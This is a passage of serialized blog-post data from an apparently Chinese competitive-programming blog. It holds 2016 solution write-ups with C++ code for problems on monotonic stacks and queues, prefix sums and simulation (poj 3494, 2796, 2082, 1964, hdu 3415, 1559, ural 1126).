0; // Start matching with first char in T 10 j = 0; // Start matching with first char in P 11 12 while ( i \u003c n ) // Not all characters used 13 { 14 if ( T[i] == P[j] ) 15 { 16 i++; // Match next","date":"2016-08-08","externalUrl":null,"permalink":"/2016/08/kmp-notes/","section":"Posts","summary":"20170801update:当时竟然没有强调next函数的含义？","tags":["kmp"],"title":"KMP算法学习","type":"post"},{"categories":[],"content":"题目链接 傻逼模拟。。读完题就ac了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月07日 星期日 18时04分18秒 4File Name :code/whust2016/#1/D.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=280; 34int n,m; 35int total,adva,advb; 36struct Friend 37{ 38 int money; 39 int adv; 40}f[N]; 41struct Room 42{ 43 int type; 44 int cost; 45 int adv; 46}r[N]; 47struct Ans 48{ 49 int val; 50 int rid; 51 int fid; 52 bool operator \u003c (Ans b)const 53 { 54 return val\u003eb.val; 55 } 56}ans[300*300]; 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"code/in.txt\",\"r\",stdin); 61 #endif 62 cin\u003e\u003etotal\u003e\u003eadva\u003e\u003eadvb; 63 cin\u003e\u003en; 64 for ( int i = 1 ; i \u003c= n ; i++) 65 scanf(\"%d %d\",\u0026f[i].money,\u0026f[i].adv); 66 scanf(\"%d\",\u0026m); 67 for ( int i = 1 ; i \u003c= m ; i++) 68 scanf(\"%d%d%d\",\u0026r[i].type,\u0026r[i].cost,\u0026r[i].adv); 69 int cnt = 0 ; 70 for ( int i = 1 ; i \u003c= m ; i++) 71 { 72 if (r[i].type==1) 73 { 74 if (r[i].cost\u003c=total) 75 { 76 cnt++; 77 ans[cnt].val = r[i].adv+adva; 78 ans[cnt].rid = i; 79 ans[cnt].fid = -1; 80 } 81 continue; 82 } 83 else 84 { 85 for ( int j = 0 ; j \u003c= n ; j++) 86 { 87 if (j==0) //自己住双人间 88 { 89 if (r[i].cost\u003c=total) 90 { 91 cnt+","date":"2016-08-07","externalUrl":null,"permalink":"/2016/08/whust-2016-1-d-zhenya-moves-from-the-dormitory-/","section":"Posts","summary":"题目链接 傻逼模拟。。读完题就ac了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月07日 星期日 18时04分18秒 4File Name :code/whust2016/#1/D.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=280; 34int n,m; 35int total,adva,advb; 36struct Friend 37{ 38 int money; 39 int adv; 40}f[N]; 41struct Room 42{ 43 int type; 44 int cost; 45 int adv; 46}r[N]; 47struct Ans 48{ 49 int val; 50 int rid; 51 int fid; 52 bool operator \u003c (Ans b)const 53 { 54 return val\u003eb.val; 55 } 56}ans[300*300]; 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"code/in.txt\",\"r\",stdin); 61 #endif 62 cin\u003e\u003etotal\u003e\u003eadva\u003e\u003eadvb; 63 cin\u003e\u003en; 64 for ( int i = 1 ; i \u003c= n ; i++) 65 scanf(\"%d %d\",\u0026f[i].money,\u0026f[i].adv); 66 scanf(\"%d\",\u0026m); 67 for ( int i = 1 ; i \u003c= m ; i++) 68 scanf(\"%d%d%d\",\u0026r[i].type,\u0026r[i].cost,\u0026r[i].adv); 69 int cnt = 0 ; 70 for ( int i = 1 ; i \u003c= m ; i++) 71 { 72 if (r[i].type==1) 73 { 74 if (r[i].cost\u003c=total) 75 { 76 cnt++; 77 ans[cnt].val = r[i].adv+adva; 78 ans[cnt].rid = i; 79 ans[cnt].fid = -1; 80 } 81 continue; 82 } 83 else 84 { 85 for ( int j = 0 ; j \u003c= n ; j++) 86 { 87 if (j==0) //自己住双人间 88 { 89 if (r[i].cost\u003c=total) 90 { 91 cnt++; 92 ans[cnt].val = r[i].adv+advb; 93 ans[cnt].rid = i ; 94 ans[cnt].fid = -1; 95 } 96 } 97 else 98 { 99 if (r[i].cost\u003c=total*2\u0026\u0026r[i].cost\u003c=f[j].money*2) 100 { 101 cnt++; 102 ans[cnt].val = r[i].adv+f[j].adv; 103 ans[cnt].rid = i ; 104 ans[cnt].fid = j; 105 } 106 } 107 } 108 } 109 } 110// for ( int i = 1 ; i \u003c= cnt ; i++) 111// { 112// printf(\"val:%d room: %d friend : %d \\n\",ans[i].val,ans[i].rid,ans[i].fid); 113// } 114 if (cnt==0) 115 { 116 puts(\"Forget about apartments. Live in the dormitory.\"); 117 }else 118 { 119 sort(ans+1,ans+cnt+1); 120 if (r[ans[1].rid].type==1) 121 { 122 printf(\"You should rent the apartment #%d alone.\\n\",ans[1].rid); 123 } 124 else 125 { 126 if (ans[1].fid==-1) 127 { 128 printf(\"You should rent the apartment #%d alone.\\n\",ans[1].rid); 129 } 130 else 131 { 132 133 printf(\"You should rent the apartment #%d with the friend #%d.\\n\",ans[1].rid,ans[1].fid); 134 135 } 136 } 137 } 138 #ifndef ONLINE_JUDGE 139 fclose(stdin); 140 #endif 141 return 0; 142}","tags":["greedy","模拟"],"title":"whust 2016 #1 D Zhenya moves from the dormitory (贪心，模拟)","type":"post"},{"categories":[],"content":"题目链接 其实就是括号匹配的模型。。用栈即可。。被我写挂好几发。。该死该死。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月07日 星期日 17时34分13秒 4File Name :code/whust2016/#1/HH.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10 11#include \u003calgorithm\u003e 12#include \u003cvector\u003e 13#include \u003cqueue\u003e 14#include \u003cstack\u003e 15#include \u003cset\u003e 16#include \u003cmap\u003e 17#include \u003cstring\u003e 18#include \u003ccmath\u003e 19#include \u003ccstdlib\u003e 20#include \u003cdeque\u003e 21#include \u003cctime\u003e 22#include \u003ccctype\u003e 23#define fst first 24#define sec second 25#define lson l,m,rt\u003c\u003c1 26#define rson m+1,r,rt\u003c\u003c1|1 27#define ms(a,x) memset(a,x,sizeof(a)) 28typedef long long LL; 29#define pi pair \u003c int ,int \u003e 30#define MP make_pair 31 32using namespace std; 33const double eps = 1E-8; 34const int dx4[4]={1,0,0,-1}; 35const int dy4[4]={0,-1,1,0}; 36const int inf = 0x3f3f3f3f; 37const int N=1E4+7; 38char st[N]; 39int s[N]; 40int n; 41int plow[N]; 42int pup[N]; 43int ans[N]; 44stack\u003cint\u003estk; 45 46 47bool ok(int x, int y) 48{ 49 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003cendl; 50 if (plow[x]\u003e0\u0026\u0026pup[y]\u003e0) 51 { 52 ans[pup[y]] = plow[x]; 53 return true; 54 } 55 if (plow[y]\u003e0\u0026\u0026pup[x]\u003e0) 56 { 57 ans[pup[x]] = plow[y]; 58 return true; 59 } 60 return false; 61} 62int main() 63{ 64 #ifndef ONLINE_JUDGE 65 freopen(\"code/in.txt\",\"r\",stdin); 66 #endif 67 68 cin\u003e\u003en\u003e\u003est; 69 n*=2; 70 int cntA = 0 ; 71 int cnta = 0 ; 72 ms(pup,0); 73 ms(plow,0); 74 for ( int i = 0 ; i \u003c n ; i++) 75 { 76 if (st[i]\u003e='a'\u0026\u0026st[i]\u003c='z') 77 { 78 cnta++; 79 plow[i] = cnta; 80 } 81 else 82 { 83 cntA++; 84 pup[i] = cntA; 85 } 86 } 87// for ( int i = 0 ; i \u003c n ; i++) cout\u003c\u003c\"plow[i]:\"\u003c\u003cplow[i]\u003c\u003c\" pup[i]:\"\u003c\u003cpup[i]\u003c\u003cendl; 88 for ( int i = 0 ; i \u003c n ; i++) 89 { 90 st[i] = toupper(st[i]); 91 } 92// cout\u003c\u003c\"st:\"\u003c\u003cst\u003c\u003cendl; 93 ms(","date":"2016-08-07","externalUrl":null,"permalink":"/2016/08/whust-2016-1-h-pair-normal-and-paranormal/","section":"Posts","summary":"题目链接 其实就是括号匹配的模型。。用栈即可。。被我写挂好几发。。该死该死。。。","tags":["括号匹配","栈"],"title":"whust 2016 #1  H - Pair: normal and paranormal","type":"post"},{"categories":["ACM"],"content":"hdu 3415 题意：给出n个整数，是一个环（也就是a[n]右边是a[1]）求一段长度不超过k的数使得和最大，问最大和是多少并给出这段数的位置。 思路：为了处理环，先把n个数复制一下就好，然后求前缀和sum[i] 由于区间[l,r]的和可以用前缀和表示为sum[r]-sum[l-1] 因此在区间长度小于等于k的前提下，我要求sum[r]-sum[l-1]的最大值，如果我们考虑把端点r固定，那么就是要求[l-1,r-1]中的sum的最小值。 因此我们考虑用单调队列来维护sum[i-k]到sum[i-1]的最小值。 我们的做法是：枚举区间右端点i，同时用单调队列维护i之前的k个数[i-k,i-1]的最小值。 由于要求“If there are more than one result, output the minimum start position, if still more than one , output the minimum length of them.”，因此从后面出队的判断条件是严格的sum[dq.back()]\u003esum[i-1] 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月05日 星期五 18时02分36秒 4File Name :code/hdu/3415.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=2E5+7; 35int a[N],sum[N]; 36int n,k; 37int on; 38deque\u003cint\u003edq; 39inline bool read(int \u0026num) 40{ 41 char in; 42 bool ISN = false; 43 in=getchar(); 44 if (in==EOF) return false; 45 while (in!='-'\u0026\u0026(in\u003c'0'||in\u003e'9')) in=getchar(); 46 if (in=='-') ISN = true,num=0; 47 else num=in-'0'; 48 while (in=getchar(),in\u003e='0'\u0026\u0026in\u003c='9'){ 49 num*=10,num+=in-'0'; 50 } 51 if (ISN) num=-num; 52 return true; 53} 54int main() 55{ 56#ifndef ONLINE_JUDGE 57 freopen(\"code/in.txt\",\"r\",stdin); 58#endif 59 60 int T; 61 ","date":"2016-08-05","externalUrl":null,"permalink":"/2016/08/hdu-3415/","section":"Posts","summary":"hdu 3415 题意：给出n个整数，是一个环（也就是a[n]右边是a[1]）求一段长度不超过k的数使得和最大，问最大和是多少并给出这段数的位置。","tags":["单调队列"],"title":"hdu 3415 Max Sum of Max-K-sub-sequence (单调队列)","type":"post"},{"categories":["ACM"],"content":"ural 1126 题意：n个数，求从第k个元素开始，求每k个元素的最大值（一共求n-k+1次） 思路：单调队列。 单调队列学习链接 其实单调队列挺容易的理解的。。。当时觉得写不明白大概是因为看到的代码写得太丑了2333 说下我的理解： 单调队列的尾端（就是后进入元素的那一端）其实和单调栈类似。 首端加了个元素期限的概念，不断删除“过期”的元素。 所谓过期的元素，对于这道题来说，当我往前移动到第k+1个元素的时候，第1个元素就是过期了的元素，堆答案不会再有贡献。 理论上单调队列中的元素是\u003c元素的期限，元素\u003e的二元组。 而一般元素的\"期限\"是由下标的位置决定的，而得到下标就可以知道元素。 所以我们实际操作的时候只需要将下标存入单调队列中就行了。 那么查询最大值呢？ 队首元素就是最大值。 以及，用到了stl的双端队列deque(double end queue)，头文件是#include 由于每次的答案是队首元素，因此设置哨兵而使得队列不为空就使得问题变得繁琐。 所以这里不同于单调栈的写法，我们不设置哨兵，而是.empty()判断双端队列是否为空。 也正是因为这个原因，没有办法像单调栈一样写成for的样子（因为没有哨兵，初始x=dq.front()的时候可能dp中还没有元素，导致RE），而是写成while的样子。。具体见代码。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月04日 星期四 23时08分34秒 4File Name :code/ural/1126.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#include \u003cdeque\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=3E4+7; 35int a[N]; 36int f[N]; 37int n,k; 38deque\u003cint\u003edq; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 scanf(\"%d\",\u0026k); 45 n = 0 ; 46 while (scanf(\"%d\",\u0026a[++n])!=EOF) 47 { 48 if (a[n]==-1) 49 { 50 n--; 51 break; 52 } 53 } 54 //for ( int i = 1 ; i \u003c= n ; i++) cout\u003c\u003c\"a[i]:\"\u003c\u003ca[i]\u003c\u003cendl; 55 dq.clear(); 56 for ( int i = 1 ; i \u003c= n ; i++) 57 { 58 while (!dq.empty()\u0026","date":"2016-08-04","externalUrl":null,"permalink":"/2016/08/ural1126/","section":"Posts","summary":"ural 1126 题意：n个数，求从第k个元素开始，求每k个元素的最大值（一共求n-k+1次） 思路：单调队列。 单调队列学习链接 其实单调队列挺容易的理解的。。。当时觉得写不明白大概是因为看到的代码写得太丑了2333","tags":["单调队列"],"title":"ural 1126. Magnetic Storms (单调队列模板题)","type":"post"},{"categories":["ACM"],"content":"hdu 1559 题意：给你一个m×n的整数矩阵，在上面找一个x×y的子矩阵，使子矩阵中所有元素的和最大。 思路：二维前缀和就好。。。和单调栈没有半毛钱关系吧。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月03日 星期三 21时08分18秒 4File Name :code/hdu/1559.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E3+7; 35int a[N][N]; 36int sum[N][N]; 37int n,m,x,y; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 int T; 44 cin\u003e\u003eT; 45 while (T--) 46 { 47 ms(sum,0); 48 scanf(\"%d%d%d%d\",\u0026n,\u0026m,\u0026x,\u0026y); 49 for ( int i = 1 ; i \u003c= n ; i++) 50 for ( int j = 1 ; j \u003c= m ; j++) 51 { 52 scanf(\"%d\",\u0026a[i][j]); 53 sum[i][j] = sum[i-1][j]+sum[i][j-1]-sum[i-1][j-1] + a[i][j]; 54 } 55 int ans = 0 ; 56 for ( int i = 1 ; i \u003c= n-x+1 ; i++) 57 for ( int j = 1 ; j \u003c= m-y+1 ; j++) 58 ans = max(ans,sum[i+x-1][j+y-1]-sum[i-1][j+y-1]-sum[i+x-1][j-1]+sum[i-1][j-1]); 59 60 printf(\"%d\\n\",ans); 61 } 62 63 #ifndef ONLINE_JUDGE 64 fclose(stdin); 65 #endif 66 return 0; 67}","date":"2016-08-03","externalUrl":null,"permalink":"/2016/08/hdu-1559/","section":"Posts","summary":"hdu 1559 题意：给你一个m×n的整数矩阵，在上面找一个x×y的子矩阵，使子矩阵中所有元素的和最大。","tags":["前缀和"],"title":"hdu 1559 最大子矩阵 (二维前缀和)","type":"post"},{"categories":["ACM"],"content":"poj 3494 题意：给出一个n*m个0-1图，求最大的全部由1组成的矩阵。 思路：同poj 1964,一共做n+2×m次单调栈。。。数组开小re一发。。某处stk忘记清空re 1发。。。智力-2.。。3A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月03日 星期三 19时33分14秒 4File Name :code/poj/3494.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=2E3+50; 33int maze[N][N]; 34int a[N][N],l[N][N],r[N][N]; 35stack\u003cint\u003estk; 36int n,m; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 while (~scanf(\"%d%d\",\u0026n,\u0026m)) 43 { 44 ms(maze,-1); //设置哨兵。。。 45 ms(a,-1); 46 while (!stk.empty()) stk.pop(); 47 for ( int i = 1 ; i \u003c= n ; i++) 48 for ( int j = 1 ; j \u003c= m ; j++) 49 scanf(\"%d\",\u0026maze[i][j]); 50 int x; 51 for ( int i = 1 ; i \u003c= n ; i++) 52 { 53 while (!stk.empty()) stk.pop(); 54 stk.push(m+1); 55 for ( int j = m ; j \u003e=1 ; j--) 56 { 57 for (x=stk.top() ; maze[i][x]==1 ; x = stk.top()) stk.pop(); 58 a[i][j] = x-j; 59 if (maze[i][j]==0) a[i][j] = 0 ; 60 stk.push(j); 61 } 62 } 63/* for ( int i = 1 ;i \u003c= n ; i++){ 64 for ( int j = 1 ; j \u003c= m ; j++) 65 printf(\"%d hhh\",a[i][j]); 66 printf(\"\\n\"); 67 } */ 68 for ( int j = 1 ; j \u003c= m ; j++) 69 { 70 while (!stk.empty()) stk.pop(); 71 stk.push(","date":"2016-08-03","externalUrl":null,"permalink":"/2016/08/poj-3494/","section":"Posts","summary":"poj 3494 题意：给出一个n*m个0-1图，求最大的全部由1组成的矩阵。","tags":["单调栈"],"title":"poj 3494 Largest Submatrix of All 1’s (单调栈)","type":"post"},{"categories":["ACM"],"content":"poj 2796 题意：给出一个人n（1E5）天的情绪值（0..1E6），一段时间的value的定义是这段时间的情绪之和*这段时间情绪的最小值。 现在求value的最大值，并且输出得到这个最大值的区间。 思路：单调栈。 考虑把每一天作为最小值的时候能向左向由延伸的最远的点的下标，两个方向各做一次单调栈来预处理。和的haunted前缀和搞下。。 然后最后想着了LL,但是读入的时候前缀和的那里忘了LL wa了一发。。。2A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月03日 星期三 19时14分42秒 4File Name :code/poj/2796.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35int n; 36int a[N]; 37LL sum[N]; 38int l[N],r[N]; 39stack\u003cint\u003estk; 40int main() 41{ 42 #ifndef ONLINE_JUDGE 43 freopen(\"code/in.txt\",\"r\",stdin); 44 #endif 45 46 scanf(\"%d\",\u0026n); 47 sum[0] = 0 ; 48 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026a[i]),sum[i] = sum[i-1] + 1LL*a[i]; 49 50 a[0]=a[n+1]=-1; //哨兵 51 52 int x; 53 stk.push(0); 54 for ( int i = 1 ; i \u003c= n ; i++) 55 { 56 for (x=stk.top(); a[x]\u003e=a[i] ; x=stk.top()) stk.pop(); 57 l[i] = x + 1; 58 stk.push(i); 59 } 60 61 while (!stk.empty()) stk.pop(); 62 stk.push(n+1); 63 for ( int i = n ; i \u003e=1 ; i--) 64 { 65 for (x=stk.top() ; a[x]\u003e=a[i] ; x=stk.top()) stk.pop(); 66 r[i] = x-1; 67 stk.push(i); 68 } 69 LL ans = -1LL; 70 int L,R; 71 for ( int i = 1 ; i \u003c= n ; i++) 72 { 73 LL cur = 1LL*(sum[r[i]]-sum[l","date":"2016-08-03","externalUrl":null,"permalink":"/2016/08/poj-2796/","section":"Posts","summary":"poj 2796 题意：给出一个人n（1E5）天的情绪值（0..1E6），一段时间的value的定义是这段时间的情绪之和*这段时间情绪的最小值。","tags":["前缀和","单调栈"],"title":"poj 2796 Feel Good (前缀和，单调栈)","type":"post"},{"categories":["ACM"],"content":"poj 2082 题目链接 题意：这道题简直就是。。。教给大家怎么把一句话把简单的题让人出得看不懂。。。真的一点意思都没有。给出n个矩形的宽度和高度，这些矩形并排顺次排列在x轴上，问最大面积。 思路：单调栈。 之前的最大矩形面积的宽度都是1.。这次不是1.。做个宽度的前缀和就好。。。1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月03日 星期三 18时54分40秒 4File Name :code/poj/2082.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=5E4+7; 35pi a[N]; 36int l[N],r[N]; 37int sum[N]; 38int n; 39stack\u003cint\u003estk; 40int main() 41{ 42 #ifndef ONLINE_JUDGE 43 freopen(\"code/in.txt\",\"r\",stdin); 44 #endif 45 46 while (~scanf(\"%d\",\u0026n)) 47 { 48 if (n==-1) break; 49 while (!stk.empty()) stk.pop(); 50 sum[0] = 0 ; 51 for ( int i = 1 ; i \u003c= n ; i++) 52 { 53 scanf(\"%d %d\",\u0026a[i].fst,\u0026a[i].sec); 54 sum[i] = sum[i-1] + a[i].fst; 55 } 56 57 a[0].sec = -1; 58 a[n+1].sec = -1; 59 stk.push(0); 60 int x; 61 for ( int i = 1 ; i \u003c= n ; i++) 62 { 63 for (x=stk.top() ; a[x].sec\u003e=a[i].sec ; x = stk.top()) stk.pop(); 64 l[i] = x+1; 65 stk.push(i); 66 } 67 68 while (!stk.empty()) stk.pop(); 69 stk.push(n+1); 70 for ( int i = n ; i \u003e=1 ; i--) 71 { 72 for (x=stk.top() ; a[x].sec\u003e=a[i].sec ; x =stk.top()) stk.pop(); 73 r[i] = x-1; 74 stk.push(i); 75 } 76 int ans = 0 ; 77 for ( int i = 1 ;","date":"2016-08-03","externalUrl":null,"permalink":"/2016/08/po2082/","section":"Posts","summary":"poj 2082 题目链接 题意：这道题简直就是。。。教给大家怎么把一句话把简单的题让人出得看不懂。。。真的一点意思都没有。给出n个矩形的宽度和高度，这些矩形并排顺次排列在x轴上，问最大面积。","tags":["前缀和","单调栈"],"title":"poj 2082 Terrible Sets  (前缀和，单调栈)","type":"post"},{"categories":["ACM"],"content":"poj 1964 题意：n*m的maze,由’R’和‘F’组成，现在要求找到面积最大的矩形，使得矩形中所有格子都是’F’。 思路：单调栈…一开始神tm tle….复杂度没问题啊。。。 结果看到有人说这题由于数据量比较大。。。scanf会超时。。。所以要用输入挂。。。。。getchar什么的。。。 poj竟然也卡读入。。。人性呢。。。。 改了输出以后再交wa了。 发现想错了，我是写了从(i,j)到两个方向能到的最大距离。。但是这样写有些点上的情况是没有考虑到的。。比如如果(i+1,j+1)上的点是’R’，实际上是不可以构成l*r的矩形的(l\u003e=2\u0026r\u003e=2)。。。但是我这样做无法体现。 改了下，变成： 仍然对于每行做一次单调栈，预处理出点(i,j)能往右的最远距离a[i][j]。 然后观察一下。。。如果我把每一列分别看成x轴，那a[i][j]不就是矩形的高度了吗。。。 那我要求的不又变成了最大矩形面积了吗。。。 于是接下来对于每一列，做上下两个方向的单调栈得到（i,j）上下能延伸到的最远距离。 (i,j)点所在的矩形面积就是** (r[i][j]-l[i][j]+1)a[i][j];* 再交，A了 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月03日 星期三 05时55分30秒 4File Name :code/poj/1964.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E3+7; 35int n,m; 36char maze[N][N]; 37int row[N][N],col[N][N]; 38int a[N][N]; 39int l[N][N],r[N][N]; 40int main() 41{ 42 #ifndef ONLINE_JUDGE 43 freopen(\"code/in.txt\",\"r\",stdin); 44 #endif 45 int T; 46 scanf(\"%d\",\u0026T); 47 while (T--) 48 { 49 ms(a,0); 50 scanf(\"%d%d\",\u0026n,\u0026m); 51 getchar(); 52 for ( int i = 1 ; i \u003c= n ; i++) 53 { 54 for ( int j = 1 ; j \u003c= m ; j++) 55 { 56 char ch = getchar(); 57 while (ch!='F'\u0026\u0026ch!='R') ch = getchar(); 58 maze[i][j]=ch; 59 } 60 maze[i][m+1","date":"2016-08-03","externalUrl":null,"permalink":"/2016/08/poj-1964/","section":"Posts","summary":"poj 1964 题意：n*m的maze,由’R’和‘F’组成，现在要求找到面积最大的矩形，使得矩形中所有格子都是’F’。","tags":["单调栈","输入挂"],"title":"poj 1964 City Game(单调栈，输入挂)","type":"post"},{"categories":["ACM"],"content":"poj 3250 题意： n头牛排成一列，第n只牛在最前面，第1只牛在最后面。第i只牛能看到的牛的个数是，它前面的且没有被其他牛遮挡的牛的个数，遮挡的条件是高度大于或者相同。现在问所有牛能看到的牛的个数的和。 思路：单调栈。具体见代码。1A. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月03日 星期三 